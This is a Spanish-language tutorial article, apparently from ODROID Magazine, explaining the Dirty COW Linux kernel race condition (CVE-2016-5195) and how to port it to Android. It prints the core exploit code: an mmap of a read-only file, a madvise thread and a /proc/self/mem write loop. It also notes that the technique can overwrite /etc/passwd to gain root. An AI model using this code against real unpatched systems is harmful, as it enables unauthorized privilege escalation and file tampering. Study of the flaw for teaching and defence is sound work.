Dirty COW: Exploit Linux

Introducción

Dirty COW, o técnicamente conocido como CVE-2016-5195, es un exploit del kernel de Linux que se hizo famoso en 2016. Se sabe que el exploit afecta a los kernels Linux desde la versión 2.6.22 que salió en 2007. Este exploit ha estado presente en todo momento hasta que fue descubierto y reparado en octubre de 2016. Momento en el que, los grandes distribuidores de Linux se apresuraron a poner una solución. Sin embargo, todavía existe un importante problema con esto, mientras que las distribuciones de Linux han tenido parches y actualizaciones, muchos de los dispositivos Android que ejecutan un kernel Linux aún no han visto ninguna solución. Hardkernel destaca por su forma de proporcionar continuas actualizaciones del kernel y del software, ya que muchos proveedores de smartphone Android suelen adoptar la filosofía de "enviarlo y olvídate" en lo que respecta a sus dispositivos Android. Si deseas probar esto en tu propio dispositivo ODROID, simplemente descárgate una imagen antigua de Android y Ubuntu de antes de octubre de 2016. Este artículo está centrado en el “qué” y en el “cómo” del exploit Dirty COW, así como en los pasos a seguir para exportar el código a Android.

El "Qué" de Dirty COW

Dirty COW, se denomina así porque es un método para llevar a cabo una operación Copy On Write sucia. Ésta permite a un atacante editar un archivo al que no tiene acceso de escritura. El exploit usa una condición de carrera en el mecanismo de copy-on-write en linux. Por fuerza bruta, un atacante puede provocar la condición de carrera, permitiendo que la memoria alterada se escriba sin tener en cuenta el acceso de escritura del usuario. Es un error muy crítico ya que a un usuario no root no se le permite editar el archivo ‘/etc/passwd’, que contiene información sobre las cuentas de usuario. Sobrescribir este archivo permite al atacante obtener permiso de root así como cambiar las contraseñas de otros usuarios. En el apartado del código veremos exactamente cómo se puede hacer esto. El código de ejemplo que se proporciona en este artículo está configurado para escribir texto en un determinado archivo, no obstante, se puede usar Dirty COW para sobrescribir cualquier información.

El "cómo" de la implementación en Android

Como hemos mencionado anteriormente, el sistema operativo Android ejecuta una versión del Kernel Linux en su núcleo. Además de esto, muchos teléfonos inteligentes Android permiten que se ejecute software que no ha sido firmado e instalado desde la tienda de aplicaciones ‘Google Playstore’. Esto permite una fácil instalación y puesta en funcionamiento de nuestra aplicación. Solo necesitamos crear un instalador APK para nuestra aplicación y moverlo al correspondiente smartphone.

Desde el punto de vista del software, el camino es relativamente sencillo. Google nos proporciona todas las herramientas necesarias para desarrollar una aplicación de Android, principalmente Android Studio. Las piezas que necesitamos son Android Studio y Android NDK. Ya existen una gran cantidad de guías para configurar Android Studio, de modo que evitaré añadir otra. El NDK, o kit de desarrollo nativo, para Android nos permite escribir y compilar de forma cruzada el código C y C ++. También, y lo que es más importante, nos permite realizar ciertas llamadas a funciones que son fundamentales para este exploit. Veremos una lista de todas las funciones y la explicación del código fuente más adelante. Puesto que, como ya hemos indicado, Android usa el kernel de Linux, el ejemplo de código incluido en este artículo funcionará con muy pocas o ninguna modificación (según el caso).

El “Cómo” de Dirty COW

El cómo se usa la memoria en Linux es el punto principal para entender el funcionamiento de esta vulnerabilidad. Una copia del código con anotaciones sigue el proceso. Sin embargo, creo que es mejor tener una visión global de alto nivel si vamos a asignar un archivo desde disco a la memoria. El contenido de este archivo ahora se puede leer directamente desde la memoria, esto se hace con la siguiente función mmap(). Cuando hacemos esto, si solo tenemos acceso de lectura al archivo, el archivo solo puede abrirse y se le asigna acceso de lectura igualmente. Sin embargo, el exploit se encarga de esta limitación. Cuando asignamos el archivo a la memoria, lo queremos privado. Si otro proceso (lo llamaremos proceso B) quiere acceso de lectura/escritura a esta memoria que está OK. Cuando el proceso B escribe en esta memoria, la memoria se copia para que los cambios solo sean vistos por el proceso B. Esta es la idea del llamado copy-on-write, ya que una vez que el proceso B escribe en esta memoria, se realiza una copia manteniendo todos los cambios privado. Una vez que se realiza la copia, el proceso B apunta a la nueva ubicación de la memoria privada y esos datos se pueden cambiar. También tenemos madvise (), que le indica al kernel que descarte la memoria privada recién copiada, una vez que los procesos B son descartados regresarán a la ubicación de la memoria original. Ahora empezarás a ver cómo se pude inducir una condición de carrera. Lo que queremos es que el proceso B escriba en la ubicación de la memoria original cargada por el proceso A. Existen 3 pasos que cuando funcionan correctamente, hacen esto cuando el proceso B quiere escribir:

  1. Copiar los datos desde la ubicación original a la nueva ubicación
  2. Actualizar el enlace de la memoria para que el proceso B apunte a una nueva ubicación
  3. Escribir los datos
  4. madvice() borra la nueva copia y actualiza el enlace de memoria del proceso B a la ubicación anterior.

Si tenemos los pasos anteriores, funcionado de acuerdo al orden vigente no hay problema. Sin embargo, si seguimos llamando a madvice (), podemos obtener el flujo: 1, 2, 4, 3. Si madvice() se ejecuta antes de que se escriban los datos, podemos ajustar todo lo que la memoria apunta hacia la ubicación original y aquí es donde tiene lugar la escritura.

El Código

El proyecto git contiene el código fuente y también todos los archivos de proyecto de Android Studio. Además hay oculto un archivo cmake que compilará una aplicación de prueba dirty COW para una Distro Linux de escritorio. Si está familiarizado con el desarrollo de Java y Android, la mayor parte del código de la "Aplicación" deberías entenderlo con facilidad, ya que no es muy extenso. La parte de Java consiste en leer información de un par de cuadros de texto en blanco y llama al código C NDK al presionar un botón. Veremos más a fondo el código C, ya que en este caso es el más relevante.

El código C es simple y breve, menos de 200 líneas. Con un rápido vistazo al código, verás que los pasos básicos son abrir el archivo de destino como solo lectura y luego asignar ese archivo a la memoria de procesos. Una vez cargado en la memoria, se generan dos subprocesos "en duelo". El primero intenta continuamente escribir los datos deseados en la memoria de procesos. El segundo intentará continuamente o "sugerirá" como dice la página del manual, indicar al kernel que no necesitamos esa página de memoria, esto escribirá la memoria en el disco.

Sin más preámbulos, echemos un vistazo a algunas de las partes cruciales del código:

Tras abrir el archivo destino hacia el descriptor de archivo denominado "file", llamamos a fstat, que devolverá el estado y la información sobre ese archivo. Aquí nos interesa principalmente el tamaño del archivo, que es el elemento de estructura st_size. Realizamos algunas comprobaciones de seguridad y cordura, y continuamos.

// Get & check file status
struct stat fileStatus;
if(fstat(file, &fileStatus) != 0)
return -1;

// check sizes
fileSize = fileStatus.st_size;
if(fileStatus.st_size <= 0 ||
fileStatus.st_size <= strlen(replaceText) + offset) {

printf("Size problem:\n\tFile Size: %lld\n\tText Size: %ld",
fileStatus.st_size, strlen(replaceText));
return -1;
}
Una vez que tenemos el tamaño del archivo, en bytes, pasamos a llamar mmap. Esta función asignará los datos del archivo a la memoria del proceso. Necesitamos el tamaño total del archivo para mapearlo completamente en la memoria. Los otros argumentos importantes proporcionados son PROT_READ y MAP_PRIVATE. PROT_READ dice que la memoria solo se puede leer. MAP_PRIVATE dice que mmap use el mapeo privado de copia y escritura, esto significa que los cambios solo serán visibles para el proceso de llamada. Puedes encontrar otros parámetros en la página man de mmap o aquí: http://man7.org/linux/man-pages/man2/mmap.2.html
// map the file into the's proccess memory and get address
memoryMap = mmap(NULL, (size_t)fileStatus.st_size, PROT_READ,
MAP_PRIVATE, file, 0);
if(memoryMap == MAP_FAILED) {
printf("Failed to map file to memory\n");
return -1;
}
fileOffset = (off_t )memoryMap + offset;

Con esta información, tenemos el inicio de nuestros dos subprocesos. Estos dos subprocesos los dejaremos ejecutarse para inducir nuestra condición de carrera solicitada. Bajo mi experiencia, no es necesario que los subprocesos se prolonguen en absoluto, en menos de un segundo y el archivo se sobrescribió. Aquí tenemos la función de aviso de memoria que se activa desde pthread_create. La función es bastante pobre, llamará continuamente madvise o posix_madvise. Madvise toma la dirección de donde está el archivo asignado, el tamaño y la enumeración MADV_DONTNEED. Esta enumeración, como se ha mencionado anteriormente, "alude" al kernel para requerir esa memoria.

void *adviseThreadFunction(void* adviseStruct) {
printf("Thread: Memory Advise Running\n");

while(threadLoop) {
madvise(memoryMap, fileSize, MADV_DONTNEED);
}

printf("Advise Thread - Bye\n");
return NULL;
}
Aquí tienes el segundo subproceso, empieza abriendo el seudo-directorio para la memoria de ese proceso ubicado en /proc/self/mem. Una vez abierto con éxito, pasamos a la parte de bucle infinito, donde buscamos la ubicación de la memoria en la que estamos interesados, y luego escribimos reemplazando los datos que queremos.
void *writeThreadFunction(void* text) {
printf("Thread: Write Running\n");

const char* replaceText = (char*)text;

int memFile = 0;
if( (memFile = open("/proc/self/mem", O_RDWR)) < 0) {
printf("Failed to open /proc/self/mem\n");
return NULL;
}

// Continually try to write text to memory
size_t textLength = strlen(replaceText);

printf("%ld : %s\n", textLength, replaceText);

while(threadLoop) {
// seek to where to write
lseek(memFile, fileOffset, SEEK_SET);

// Write replacement text
write(memFile, replaceText, textLength);
}

printf("Write Thread - Bye\n");
return NULL;
}
Si has disfrutado con este artículo y te gustaría ver más artículos centrados en la seguridad en futuras ediciones, avísame publicando un post en el foro de ODROID Magazine.

Be the first to comment

Leave a Reply